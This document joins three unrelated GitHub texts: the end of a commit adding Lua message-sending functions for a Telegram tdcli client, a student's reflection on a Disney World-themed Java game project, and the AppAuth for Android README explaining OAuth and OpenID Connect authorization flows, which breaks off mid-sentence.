reply_to_message_id, disable_notification, from_background, reply_markup, voice, duration, waveform, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVoice", + voice_ = getInputFile(voice), + duration_ = duration or '', + waveform_ = waveform or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendVoice = sendVoice + +-- Message with location +-- @latitude Latitude of location in degrees as defined by sender +-- @longitude Longitude of location in degrees as defined by sender +local function sendLocation(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, latitude, longitude, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageLocation", + location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + }, + }, dl_cb, cmd) +end + +M.sendLocation = sendLocation + +-- Message with information about venue +-- @venue Venue to send +-- @latitude Latitude of location in degrees as defined by sender +-- @longitude Longitude of location in degrees as defined by sender +-- @title Venue name as defined by sender +-- @address Venue address as defined by sender +-- @provider Provider of venue database as defined by sender. Only "foursquare" need to be supported currently +-- @id Identifier of the venue in provider database as defined by sender +local function sendVenue(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, latitude, longitude, title, address, id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVenue", + venue_ = { + ID = "Venue", + location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + title_ = title, + address_ = address, + provider_ = 'foursquare', + id_ = id + }, + }, + }, dl_cb, cmd) +end + +M.sendVenue = sendVenue + +-- User contact message +-- @contact Contact to send +-- @phone_number User's phone number +-- @first_name User first name, 1-255 characters +-- @last_name User last name +-- @user_id User identifier if known, 0 otherwise +local function sendContact(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, phone_number, first_name, last_name, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageContact", + contact_ = { + ID = "Contact", + phone_number_ = phone_number, + first_name_ = first_name, + last_name_ = last_name, + user_id_ = user_id + }, + }, + }, dl_cb, cmd) +end + +M.sendContact = sendContact + +-- Message with a game +-- @bot_user_id User identifier of a bot owned the game +-- @game_short_name Game short name +local function sendGame(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, bot_user_id, game_short_name, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageGame", + bot_user_id_ = bot_user_id, + game_short_name_ = game_short_name + }, + }, dl_cb, cmd) +end + +M.sendGame = sendGame + +-- Forwarded message +-- @from_chat_id Chat identifier of the message to forward +-- @message_id Identifier of the message to forward +local function sendForwarded(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, from_chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageForwarded", + from_chat_id_ = from_chat_id, + message_id_ = message_id + }, + }, dl_cb, cmd) +end + +M.sendForwarded = sendForwarded + +return M cli/tg/tgcli (Binary file not shown.) 0 comments on commit 3233fdf Comment on 3233fdf Leave a comment Comment Desktop version
qixuanHou
Please Read Me First. This is a set of java file of my final version of electronic artifacts. This is a game to map my experience in Disney World, in Orlando during this spring break. However, because of my limited skills in computer science, I really have no idea how to simplify the process to run the game. Sorry for the inconvenience. In order to run the game, you may need to install JAVA. I hope the following links will help you. http://www.oracle.com/technetwork/java/javase/downloads/index-jsp-138363.html#javasejdk http://www.cc.gatech.edu/~simpkins/teaching/gatech/cs1331/guides/install-java.html My main file is called Disney. You can call Disney in console to start the game. However, I failed to putting all the things inside Disney file. Therefore, you may also need to call AdventureLand, MainStreet, and FrontierLand to start other three games. I hope this will help you. Sorry again for the inconvenience. 1. the structure of my project My project only focused on my trip in Magic Kingdom, one part of Disney world in Orlando. It is a game which guides players to choose from six sub-games, which match six sections of the park, Main Street U.S.A, Tomorrowland, Adventureland, Frontierland, Fantasyland and Liberty Square. I chose one of the rides I took in each section which, from my perspective, shows what I found interesting in Disney world. I changed what I experienced in the park into a small computer game. I want to share my experience with others while they play my games. In the following part of self reflection, I explain the background, rules and other things about each game. For convenience of matching them, I use different color to mark different parts. I hope it will help readers a little bit when they are lost in my disordered reflections. 1. the hall of presidents - Liberty Square 2. Festivall parade - Fantasyland (I explain this one in the part of technology skill limitations) 3. Big Thunder Mountain Railroad - Frontierland 4.talking with Woody- Adventureland 5. Stitch Store - Tomorrowland 6. lunch time - Main Street USA 3. my reflection of the trip in Disney World from dream to reality When I exited Disney resort, I found a sign along the street welcomed people back to real world. Actually, when I was in Orlando, I couldn't believe as an adult, people can mess up fantasy world in the theme parks and the real world. Nevertheless, I felt I was still in fantasy world, when I dreamed twice that I fought for the key to open the door of future. As is known to all, while sleeping, people always dream about what people thinks in the daytime. Therefore, my dream shows that my mind still stayed in the world with Mickey and Donald. I believe that it is experiencing fantasy world which is the source of the greatest happiness people get from theme park. On the one hand, everybody has pressure in real life especially for adults. They can get out of pressure for a day trip in theme park. They can experience different lives here with cartoon characters. On the other hand, sometimes, it is a really hard task to fulfill some dreams, such as being a princess. However, in Disney world, you can dress up the same as Snow White, waiting for your prince; you can go to space by rocket; you can also travel all over the world in one day and enjoy the food of each country. These are all the magic of theme parks. Therefore, in my game, I learnt the way which Disney design their rides to focus on the background story of the game instead of the game itself. For example, there is a ride called Big Thunder Mountain Railroad, which streaks through a haunted gold-mining town aboard a rollicking runaway mine train. The views around the ride were like a gold mining town. There were tools for gold-mining around the railroad and the railroad looked like very old. In order to show riders that it was a haunted gold-mining town, the train always took a sudden turn or speed up quickly to scare people. I decided to name one of my game, which was inspired by this ride, the same name, Big Thunder Mountain Railroad. Instead of sitting inside the mine train to travel around the haunted town, mine was for users to use keyboard to control the train to travel around the gridding railroad. I place traps inside several parts of gridding to "scare" players, who cannot know where traps are until they get into them. If I know how to use animation, I will show scary pictures when players drive their train to the traps. Unlike the ride in Disney, my players can no longer travel once they encounter a trap because their train may have some problems to keep moving. Also, the main goal in the game is to find the gold. However, as we know, finding gold is really hard. Therefore, players must go to find Aladdin's Wonderful lamp where also places inside the gridding while players cannot see its exact place until they happen to drive inside the part where lamp is. Aladdin's Wonderful lamp will show players the map of the gold and when people get to the gold mine, they win. However, there is another limitation of the game. Haunted town is so dangerous during the night. Therefore, players only have 12 hours to finish the task. Train can drive one square in 20 min. Therefore, train can only move 36 times or they will also be caught by traps. In this game, I want to show audiences I have a background story like rides in Disney World. Players need to find the gold in a haunted gold-mining town. Also, in order to show the relationship with Disney, I use Aladdin's Wonderful Lamp as the guide for the players, which is a well known characters in Disney cartoon. I created another game, called talking with Woody to show the magic power of Disney characters. There are a lot of chances to meet Disney characters in Disney world. On the one hand, travelers, especially small kids, are really excited to meet the characters they watched on TV. I think some kids may believe they take pictures with real Mickey Mouse. On the hand, staffs in Disney who wear the costumes are really tired. It was hot in Orlando last week, but all costumes were very heavy. I was moved by the staffs inside Mickey. They also need to mimic the actions of characters and also need to show kindness and warmness to children. It seems like a really hard job. Therefore, I decide to show this part of Disney in my project as well. I decided to use Woody, a toy all the toys look up to. He is smart, kind and brave like a cowboy should be. He is more than a top, he is friend to everyone enjoying the movie Toy. In order to create an interactive game, I planned to ask players to guide Woody. Players need to call Woody before their instructions. For instance, if players say (actually players are typing) "Woody, please sit down", Woody will sit down (actually, there will be another line on the screen showing the same as players import). However, if players are rude and just say "sit down" without calling Woody, Woody won't act (actually there is just nothing showing up on the screen). great facilities to provide convenience to everyone The facilities to satisfy needs for special groups of people, like small kids or disabled people, are well developed. In the past in China, it seemed impossible for parents to take infants and small kids to travel. The road is not flat or wide enough for strollers or wheelchairs. However, in Disney world, everything seemed like well prepared for everyone to use. There are strollers rentals, and electric conveyance vehicles rentals, which are available to rent throughout Disney world. There are baby care center for mothers to feed, change and nurse little ones. There are locker rentals for storing personal items. There are also hearing disability services which have sign language interpretation to help disabled people to enjoy fantasy world. There are still a lot other convenient services in Disney world. I think the purpose of these services show the pursue of equality among everyone in the world. On the one hand, I am really touched by the availability of these services here. It seems Disney try its best to service everyone who have desire to experience fantasy land. On the other hand, in this way, Disney can attract more travelers in order to make more money in some ways. Also, in Disney, it seems like a tradition that there are stores at the exit of the famous rides. Somebody may think it is just a strategy to make people shopping a lot. However, I think it also provides some convenience that travelers can buy souvenirs where is memorable. For example, when I finished my trip in Escape Stitch, I entered a store with a lot of kinds of Stitch, like Stitch pillow, Stitch key chain and so on. I really want to buy something in order to remind me the wonderful feelings. Therefore, I showed my opinion inside my game as well. I wrote one part is for shopping. The items are different kinds of Stitch. My codes can act as a robot to help customers to shop in the store. There are a lot of restaurants in Disney. Maps of Disney are full of restaurants' name. The greatest things about the food are in Epcot, I experienced different counties in one day. I felt like I was in fast travel in different parts of the world and tasted their special food and snacks while I was on the way. I remembered I was still eating Japanese food when I was in "Mexico". It was a great experience. However, there were always a long waiting lines for the all restaurants. People needed to reserve a table a day before their trip and even they had the reservation, they still needed to wait for a long time. I think Disney may need some good ways to fix the problems of waiting for a long time. I have no idea of changing the situation of restaurants, but I think if there are robots to customers to order in fast food restaurant, it may help a lot. Thus, I have another code to customers to order in Plaza Restaurant. If this kind of robots can work in the real life, people can order by themselves and there will be more staffs available to prepare food. theme park uses interesting ways to teach knowledge of boring topics Theme part is also a great source of learning knowledge, especially for kids. They use Disney characters, interesting shows, or even games to teach useful things. The ways change the boring knowledge to interesting things, which always attract children's attention. The most amazing one was an interactive game in Epcot's Innoventions, called "where's the fire?", which teaches adults and children basic fire safety in a fun and entertaining way. About every five minutes, the players waiting in line are divided into two groups and move into the home's entry. Here, a host will explain the object of the game and lay out the rules. The scenario is this: you are on a mission to discover a number of fire hazards commonly found around the house. To do this, you move from room to room, looking for potential risks. To help in the task, each player is given a special "safely light" to help uncover lurking dangers. The rooms are large projection screens. When a hazard is discovered, all persons in the room must shine their safety light on the same spot. when they do, the hazard is rendered harmless and points are assigned. After playing in the game to find the hazardous things in the house, I learned a lot of safety tips. It is much easier to remember the tips I learned during the game than those I learned on textbook or internet. I believe kids will enjoy the games and learn from them as well. I also tried to show this reflection in my project. Thus, I planned to make a game, called the hall of presidents, which test people's knowledge of presidents in USA. However, I failed to achieve the goal of making it an entertaining game instead of a quiz. My game was still like a quiz. However, because it is the only code which can work well inside my big game. I decide to still hold the game for my projects in order to what my original ideas are. 4. technology skill limitations I feel terribly sorry for my limited skills in CS. It is my first time to learn JAVA this semester. I just begin to learn the core concepts of JAVA this month. When I choose to use java code for this project, I know I will face plentiful limitations and problems. Here I want to express my gratitude to Dr. Johnson, who encouraged me not to give up my ideas. To be honest, I have no idea of how to change a java code into a real game with animations. I know the background story of the game is more important for English course and pictures are the best way to show the background, but I have no idea to show all these things by JAVA coding. Therefore, I choose to use videos for my presentation. In this way, I can show my animation inside the videos while the code clue of my game is still composed by JAVA coding. Also, video gives me a lot of freedom when choose my contents for presentation. I can explain a lot details of my project clearly through videos. For example, I found the festival parade in the magic kingdom was great and I wanted to share the experience in my project by showing the pictures or videos. However, because of the technology limitations, I can only show the videos in my presentations. Also, I mistakenly deleted my videos which I shot on my trip Orlando, I can only share others' parade show...... Also, I want to apologize for the incompleteness of my game. I only dedicated to writing codes for Magic Kingdom, a part of my trip during spring break. Writing codes is a really time consuming task for me. In general, I need to spend more than eight hours to finish one project for my CS assignment this semester. While for this project, the final artifacts are composed of several parts of codes and in the end I need to write the father code in order to take care of my code family for spring break. Due to my limitation in writing codes, I can only finish one part of Disney world. However, I think my code shows all my reflections and perspectives during my trip, even though it looks like it only shows one part of my trip. The terrible mistake I made is that I found out the most of my codes I wrote had significant errors on Tuesday. I went to CS TA office for help, while the errors were still impossible to fix in order to achieve the goal I planned to get. Consequently, my game have to be separated into several parts. Instead of a big game having others as sub-games inside the big one, my final artifacts are composed by several small games. I need to start them one by one. It may cause some inconvenience for players to map their trip in Disney world.
mercerheather476
 [](https://search.maven.org/search?q=g:net.openid%20appauth) [](http://javadoc.io/doc/net.openid/appauth) [](https://github.com/openid/AppAuth-Android/actions/workflows/build.yml) [](https://codecov.io/github/openid/AppAuth-Android?branch=master) AppAuth for Android is a client SDK for communicating with [OAuth 2.0](https://tools.ietf.org/html/rfc6749) and [OpenID Connect](http://openid.net/specs/openid-connect-core-1_0.html) providers. It strives to directly map the requests and responses of those specifications, while following the idiomatic style of the implementation language. In addition to mapping the raw protocol flows, convenience methods are available to assist with common tasks like performing an action with fresh tokens. The library follows the best practices set out in [RFC 8252 - OAuth 2.0 for Native Apps](https://tools.ietf.org/html/rfc8252), including using [Custom Tabs](https://developer.chrome.com/multidevice/android/customtabs) for authorization requests. For this reason, `WebView` is explicitly *not* supported due to usability and security reasons. The library also supports the [PKCE](https://tools.ietf.org/html/rfc7636) extension to OAuth which was created to secure authorization codes in public clients when custom URI scheme redirects are used. The library is friendly to other extensions (standard or otherwise) with the ability to handle additional parameters in all protocol requests and responses. A talk providing an overview of using the library for enterprise single sign-on (produced by Google) can be found here: [Enterprise SSO with Chrome Custom Tabs](https://www.youtube.com/watch?v=DdQTXrk6YTk). ## Download AppAuth for Android is available on [MavenCentral](https://search.maven.org/search?q=g:net.openid%20appauth) ```groovy implementation 'net.openid:appauth:<version>' ``` ## Requirements AppAuth supports Android API 16 (Jellybean) and above. Browsers which provide a custom tabs implementation are preferred by the library, but not required. Both Custom URI Schemes (all supported versions of Android) and App Links (Android M / API 23+) can be used with the library. In general, AppAuth can work with any Authorization Server (AS) that supports native apps as documented in [RFC 8252](https://tools.ietf.org/html/rfc8252), either through custom URI scheme redirects, or App Links. AS's that assume all clients are web-based or require clients to maintain confidentiality of the client secrets may not work well. ## Demo app A demo app is contained within this repository. For instructions on how to build and configure this app, see the [demo app readme](https://github.com/openid/AppAuth-Android/blob/master/app/README.md). ## Conceptual overview AppAuth encapsulates the authorization state of the user in the [net.openid.appauth.AuthState](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java) class, and communicates with an authorization server through the use of the [net.openid.appauth.AuthorizationService](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java) class. AuthState is designed to be easily persistable as a JSON string, using the storage mechanism of your choice (e.g. [SharedPreferences](https://developer.android.com/training/basics/data-storage/shared-preferences.html), [sqlite](https://developer.android.com/training/basics/data-storage/databases.html), or even just [in a file](https://developer.android.com/training/basics/data-storage/files.html)). AppAuth provides data classes which are intended to model the OAuth2 specification as closely as possible; this provides the greatest flexibility in interacting with a wide variety of OAuth2 and OpenID Connect implementations. Authorizing the user occurs via the user's web browser, and the request is described using instances of [AuthorizationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationRequest.java). The request is dispatched using [performAuthorizationRequest()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L159) on an AuthorizationService instance, and the response (an [AuthorizationResponse](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationResponse.java) instance) will be dispatched to the activity of your choice, expressed via an Intent. Token requests, such as obtaining a new access token using a refresh token, follow a similar pattern: [TokenRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/TokenRequest.java) instances are dispatched using [performTokenRequest()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L252) on an AuthorizationService instance, and a [TokenResponse](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/TokenResponse.java) instance is returned via a callback. Responses can be provided to the [update()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java#L367) methods on AuthState in order to track and persist changes to the authorization state. Once in an authorized state, the [performActionWithFreshTokens()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java#L449) method on AuthState can be used to automatically refresh access tokens as necessary before performing actions that require valid tokens. ## Implementing the authorization code flow It is recommended that native apps use the [authorization code](https://tools.ietf.org/html/rfc6749#section-1.3.1) flow with a public client to gain authorization to access user data. This has the primary advantage for native clients that the authorization flow, which must occur in a browser, only needs to be performed once. This flow is effectively composed of four stages: 1. Discovering or specifying the endpoints to interact with the provider. 2. Authorizing the user, via a browser, in order to obtain an authorization code. 3. Exchanging the authorization code with the authorization server, to obtain a refresh token and/or ID token. 4. Using access tokens derived from the refresh token to interact with a resource server for further access to user data. At each step of the process, an AuthState instance can (optionally) be updated with the result to help with tracking the state of the flow. ### Authorization service configuration First, AppAuth must be instructed how to interact with the authorization service. This can be done either by directly creating an [AuthorizationServiceConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationServiceConfiguration.java#L102) instance, or by retrieving an OpenID Connect discovery document. Directly specifying an AuthorizationServiceConfiguration involves providing the URIs of the authorization endpoint and token endpoint, and optionally a dynamic client registration endpoint (see "Dynamic client registration" for more info): ```java AuthorizationServiceConfiguration serviceConfig = new AuthorizationServiceConfiguration( Uri.parse("https://idp.example.com/auth"), // authorization endpoint Uri.parse("https://idp.example.com/token")); // token endpoint ``` Where available, using an OpenID Connect discovery document is preferable: ```java AuthorizationServiceConfiguration.fetchFromIssuer( Uri.parse("https://idp.example.com"), new AuthorizationServiceConfiguration.RetrieveConfigurationCallback() { public void onFetchConfigurationCompleted( @Nullable AuthorizationServiceConfiguration serviceConfiguration, @Nullable AuthorizationException ex) { if (ex != null) { Log.e(TAG, "failed to fetch configuration"); return; } // use serviceConfiguration as needed } }); ``` This will attempt to download a discovery document from the standard location under this base URI, `https://idp.example.com/.well-known/openid-configuration`. If the discovery document for your IDP is in some other non-standard location, you can instead provide the full URI as follows: ```java AuthorizationServiceConfiguration.fetchFromUrl( Uri.parse("https://idp.example.com/exampletenant/openid-config"), new AuthorizationServiceConfiguration.RetrieveConfigurationCallback() { ... } }); ``` If desired, this configuration can be used to seed an AuthState instance, to persist the configuration easily: ```java AuthState authState = new AuthState(serviceConfig); ``` ### Obtaining an authorization code An authorization code can now be acquired by constructing an AuthorizationRequest, using its Builder. In AppAuth, the builders for each data class accept the mandatory parameters via the builder constructor: ```java AuthorizationRequest.Builder authRequestBuilder = new AuthorizationRequest.Builder( serviceConfig, // the authorization service configuration MY_CLIENT_ID, // the client ID, typically pre-registered and static ResponseTypeValues.CODE, // the response_type value: we want a code MY_REDIRECT_URI); // the redirect URI to which the auth response is sent ``` Other optional parameters, such as the OAuth2 [scope string](https://tools.ietf.org/html/rfc6749#section-3.3) or OpenID Connect [login hint](http://openid.net/specs/openid-connect-core-1_0.html#rfc.section.3.1.2.1) are specified through set methods on the builder: ```java AuthorizationRequest authRequest = authRequestBuilder .setScope("openid email profile https://idp.example.com/custom-scope") .setLoginHint("jdoe@user.example.com") .build(); ``` This request can then be dispatched using one of two approaches. a `startActivityForResult` call using an Intent returned from the `AuthorizationService`, or by calling `performAuthorizationRequest` and providing pending intent for completion and cancelation handling activities. The `startActivityForResult` approach is simpler to use but may require more processing of the result: ```java private void doAuthorization() { AuthorizationService authService = new AuthorizationService(this); Intent authIntent = authService.getAuthorizationRequestIntent(authRequest); startActivityForResult(authIntent, RC_AUTH); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == RC_AUTH) { AuthorizationResponse resp = AuthorizationResponse.fromIntent(data); AuthorizationException ex = AuthorizationException.fromIntent(data); // ... process the response or exception ... } else { // ... } } ``` If instead you wish to directly transition to another activity on completion or cancelation, you can use `performAuthorizationRequest`: ```java AuthorizationService authService = new AuthorizationService(this); authService.performAuthorizationRequest( authRequest, PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCompleteActivity.class), 0), PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCanceledActivity.class), 0)); ``` The intents may be customized to carry any additional data or flags required for the correct handling of the authorization response. #### Capturing the authorization redirect Once the authorization flow is completed in the browser, the authorization service will redirect to a URI specified as part of the authorization request, providing the response via query parameters. In order for your app to capture this response, it must register with the Android OS as a handler for this redirect URI. We recommend using a custom scheme based redirect URI (i.e. those of form `my.scheme:/path`), as this is the most widely supported across all versions of Android. To avoid conflicts with other apps, it is recommended to configure a distinct scheme using "reverse domain name notation". This can either match your service web domain (in reverse) e.g. `com.example.service` or your package name `com.example.app` or be something completely new as long as it's distinct enough. Using the package name of your app is quite common but it's not always possible if it contains illegal characters for URI schemes (like underscores) or if you already have another handler for that scheme - so just use something else. When a custom scheme is used, AppAuth can be easily configured to capture all redirects using this custom scheme through a manifest placeholder: ```groovy android.defaultConfig.manifestPlaceholders = [ 'appAuthRedirectScheme': 'com.example.app' ] ``` Alternatively, the redirect URI can be directly configured by adding an intent-filter for AppAuth's RedirectUriReceiverActivity to your AndroidManifest.xml: ```xml <activity android:name="net.openid.appauth.RedirectUriReceiverActivity" tools:node="replace"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="com.example.app"/> </intent-filter> </activity> ``` If an HTTPS redirect URI is required instead of a custom scheme, the same approach (modifying your AndroidManifest.xml) is used: ```xml <activity android:name="net.openid.appauth.RedirectUriReceiverActivity" tools:node="replace"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="https" android:host="app.example.com" android:path="/oauth2redirect"/> </intent-filter> </activity> ``` HTTPS redirects can be secured by configuring the redirect URI as an [app link](https://developer.android.com/training/app-links/index.html) in Android M and above. We recommend that a fallback page be configured at the same address to forward authorization responses to your app via a custom scheme, for older Android devices. #### Handling the authorization response Upon completion of the authorization flow, the completion Intent provided to performAuthorizationRequest will be triggered. The authorization response is provided to this activity via Intent extra data, which can be extracted using the `fromIntent()` methods on AuthorizationResponse and AuthorizationException respectively: ```java public void onCreate(Bundle b) { AuthorizationResponse resp = AuthorizationResponse.fromIntent(getIntent()); AuthorizationException ex = AuthorizationException.fromIntent(getIntent()); if (resp != null) { // authorization completed } else { // authorization failed, check ex for more details } // ... } ``` The response can be provided to the AuthState instance for easy persistence and further processing: ``` authState.update(resp, ex); ``` If the full redirect URI is required in order to extract additional information that AppAuth does not provide, this is also provided to your activity: ```java public void onCreate(Bundle b) { // ... Uri redirectUri = getIntent().getData(); // ... } ``` ### Exchanging the authorization code Given a successful authorization response carrying an authorization code, a token request can be made to exchange the code for a refresh token: ```java authService.performTokenRequest( resp.createTokenExchangeRequest(), new AuthorizationService.TokenResponseCallback() { @Override public void onTokenRequestCompleted( TokenResponse resp, AuthorizationException ex) { if (resp != null) { // exchange succeeded } else { // authorization failed, check ex for more details } } }); ``` The token response can also be used to update an AuthState instance: ```java authState.update(resp, ex); ``` ### Using access tokens Finally, the retrieved access token can be used to interact with a resource server. This can be done directly, by extracting the access token from a token response. However, in most cases, it is simpler to use the `performActionWithFreshTokens` utility method provided by AuthState: ```java authState.performActionWithFreshTokens(service, new AuthStateAction() { @Override public void execute( String accessToken, String idToken, AuthorizationException ex) { if (ex != null) { // negotiation for fresh tokens failed, check ex for more details return; } // use the access token to do something ... } }); ``` This also updates the AuthState object with current access, id, and refresh tokens. If you are storing your AuthState in persistent storage, you should write the updated copy in the callback to this method. ### Ending current session Given you have a logged in session and you want to end it. In that case you need to get: - `AuthorizationServiceConfiguration` - valid Open Id Token that you should get after authentication - End of session URI that should be provided within you OpenId service config First you have to build EndSessionRequest ```java EndSessionRequest endSessionRequest = new EndSessionRequest.Builder(authorizationServiceConfiguration) .setIdTokenHint(idToken) .setPostLogoutRedirectUri(endSessionRedirectUri) .build(); ``` This request can then be dispatched using one of two approaches. a `startActivityForResult` call using an Intent returned from the `AuthorizationService`, or by calling `performEndSessionRequest` and providing pending intent for completion and cancelation handling activities. The startActivityForResult approach is simpler to use but may require more processing of the result: ```java private void endSession() { AuthorizationService authService = new AuthorizationService(this); Intent endSessionItent = authService.getEndSessionRequestIntent(endSessionRequest); startActivityForResult(endSessionItent, RC_END_SESSION); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == RC_END_SESSION) { EndSessionResonse resp = EndSessionResonse.fromIntent(data); AuthorizationException ex = AuthorizationException.fromIntent(data); // ... process the response or exception ... } else { // ... } } ``` If instead you wish to directly transition to another activity on completion or cancelation, you can use `performEndSessionRequest`: ```java AuthorizationService authService = new AuthorizationService(this); authService.performEndSessionRequest( endSessionRequest, PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCompleteActivity.class), 0), PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCanceledActivity.class), 0)); ``` End session flow will also work involving browser mechanism that is described in authorization mechanism session. Handling response mechanism with transition to another activity should be as follows: ```java public void onCreate(Bundle b) { EndSessionResponse resp = EndSessionResponse.fromIntent(getIntent()); AuthorizationException ex = AuthorizationException.fromIntent(getIntent()); if (resp != null) { // authorization completed } else { // authorization failed, check ex for more details } // ... } ``` ### AuthState persistence Instances of `AuthState` keep track of the authorization and token requests and responses. This is the only object that you need to persist to retain the authorization state of the session. Typically, one would do this by storing the authorization state in SharedPreferences or some other persistent store private to the app: ```java @NonNull public AuthState readAuthState() { SharedPreferences authPrefs = getSharedPreferences("auth", MODE_PRIVATE); String stateJson = authPrefs.getString("stateJson", null); if (stateJson != null) { return AuthState.jsonDeserialize(stateJson); } else { return new AuthState(); } } public void writeAuthState(@NonNull AuthState state) { SharedPreferences authPrefs = getSharedPreferences("auth", MODE_PRIVATE); authPrefs.edit() .putString("stateJson", state.jsonSerializeString()) .apply(); } ``` The demo app has an [AuthStateManager](https://github.com/openid/AppAuth-Android/blob/master/app/java/net/openid/appauthdemo/AuthStateManager.java) type which demonstrates this in more detail. ## Advanced configuration AppAuth provides some advanced configuration options via [AppAuthConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AppAuthConfiguration.java) instances, which can be provided to [AuthorizationService](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java) during construction. ### Controlling which browser is used for authorization Some applications require explicit control over which browsers can be used for authorization - for example, to require that Chrome be used for second factor authentication to work, or require that some custom browser is used for authentication in an enterprise environment. Control over which browsers can be used can be achieved by defining a [BrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserMatcher.java), and supplying this to the builder of AppAuthConfiguration. A BrowserMatcher is suppled with a [BrowserDescriptor](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserDescriptor.java) instance, and must decide whether this browser is permitted for the authorization flow. By default, [AnyBrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/AnyBrowserMatcher.java) is used. For your convenience, utility classes to help define a browser matcher are provided, such as: - [Browsers](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/Browsers.java): contains a set of constants for the official package names and signatures of Chrome, Firefox and Samsung SBrowser. - [VersionedBrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/VersionedBrowserMatcher.java): will match a browser if it has a matching package name and signature, and a version number within a defined [VersionRange](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/VersionRange.java). This class also provides some static instances for matching Chrome, Firefox and Samsung SBrowser. - [BrowserAllowList](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserAllowList.java): takes a list of BrowserMatcher instances, and will match a browser if any of these child BrowserMatcher instances signals a match. - [BrowserDenyList](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserDenyList.java): the inverse of BrowserAllowList - takes a list of browser matcher instances, and will match a browser if it _does not_ match any of these child BrowserMatcher instances. For instance, in order to restrict the authorization flow to using Chrome or SBrowser as a custom tab: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setBrowserMatcher(new BrowserAllowList( VersionedBrowserMatcher.CHROME_CUSTOM_TAB, VersionedBrowserMatcher.SAMSUNG_CUSTOM_TAB)) .build(); AuthorizationService authService = new AuthorizationService(context, appAuthConfig); ``` Or, to prevent the use of a buggy version of the custom tabs in Samsung SBrowser: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setBrowserMatcher(new BrowserDenyList( new VersionedBrowserMatcher( Browsers.SBrowser.PACKAGE_NAME, Browsers.SBrowser.SIGNATURE_SET, true, // when this browser is used via a custom tab VersionRange.atMost("5.3") ))) .build(); AuthorizationService authService = new AuthorizationService(context, appAuthConfig); ``` ### Customizing the connection builder for HTTP requests It can be desirable to customize how HTTP connections are made when performing token requests, for instance to use [certificate pinning](https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning) or to add additional trusted certificate authorities for an enterprise environment. This can be achieved in AppAuth by providing a custom 